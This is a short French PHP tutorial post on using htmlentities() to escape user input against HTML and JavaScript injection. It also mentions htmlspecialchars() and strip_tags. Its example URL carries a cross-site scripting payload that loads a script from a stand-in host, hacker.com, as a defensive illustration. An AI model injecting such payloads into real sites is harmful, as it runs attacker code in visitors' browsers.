La fonction htmlentities() permet de protéger l'affichage de données dont on n'est pas sûr de l'origine en rendant toutes les balises XHTML inopérentes.
Exemple:
http://www.monsite.com?monpseudo=<strong>Justine</strong><script src="http://hacker.com/injection.js" >
<?php echo "Salut ".htmlentities($_GET['monpseudo']); ?>
En gros, cette fonction va remplacer < par < ou > par > à l'affichage, rendant caduque toute tentative malveillante d'injection HTML (ou javascript).
A l'affichage , dans l'exemple précédent, on affichera :
Salut <strong>Justine<strong><script src="http://hacker.com/injection.js" >
htmlspecialchars() est l'équivalent de htmlentities() mais il est conseillé d'utiliser cette dernière.
Si l'on veut plutôt supprimer les balises HTML susceptibles d'être ajoutées par l'utilisateur on utilise la fonction strip_tags
Laisser un commentaire
Participez-vous à la discussion?N'hésitez pas à contribuer!